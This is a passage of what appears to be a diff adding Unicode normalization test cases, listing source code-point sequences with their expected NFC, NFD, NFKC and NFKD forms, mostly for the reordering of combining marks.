+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0319, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0319, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0319, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0319, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0319, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0319, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0319, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0319, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0319, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0319, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x031A, 0x0062], NFC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062] },
+{ source: [0x0061, 0x031A, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x031B, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x031B, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x031C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x031C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x031C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x031C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x031C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x031C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x031C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x031C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x031C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x031D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x031D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x031D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x031D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x031D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x031D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x031D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x031D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x031D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x031E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x031E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x031E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x031E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x031E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x031E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x031E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x031E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x031E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x031F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x031F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x031F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x031F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x031F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x031F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x031F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x031F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x031F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0320, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0320, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0320, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0320, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0320, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0320, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0320, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0320, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0320, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0320, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0321, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0321, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0322, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0322, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0323, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0323, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0323, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0323, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0323, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0323, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x1EA1, 0x1DFA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0323, 0x0316, 0x059A, 0x0062], NFKC: [0x1EA1, 0x1DFA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0323, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0324, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0324, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0324, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0324, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0324, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0324, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0324, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0324, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0324, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0324, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0325, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0325, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0325, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0325, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0325, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0325, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x1E01, 0x1DFA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0325, 0x0316, 0x059A, 0x0062], NFKC: [0x1E01, 0x1DFA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0325, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0326, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0326, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0326, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0326, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0326, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0326, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0326, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0326, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0326, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0326, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0327, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0327, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0328, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0328, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0329, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0329, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0329, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0329, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0329, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0329, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0329, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0329, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0329, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0329, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x032F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x032F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x032F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x032F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x032F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x032F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x032F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x032F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x032F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0330, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0330, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0330, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0330, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0330, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0330, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0330, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0330, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0330, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0330, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0331, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0331, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0331, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0331, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0331, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0331, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0331, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0331, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0331, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0331, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0332, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0332, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0332, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0332, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0332, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0332, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0332, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0332, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0332, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0332, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0333, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0333, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0333, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0333, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0333, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0333, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0333, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0333, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0333, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0333, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0334, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0335, 0x0062], NFC: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0335, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0336, 0x0062], NFC: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0336, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0337, 0x0062], NFC: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0337, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0338, 0x0062], NFC: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0338, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0339, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0339, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0339, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0339, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0339, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0339, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0339, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0339, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0339, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0339, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x033A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x033A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x033A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x033A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x033A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x033A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x033A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x033A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x033A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x033B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x033B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x033B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x033B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x033B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x033B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x033B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x033B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x033B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x033C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x033C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x033C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x033C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x033C, 0x059A, 0x0062] },
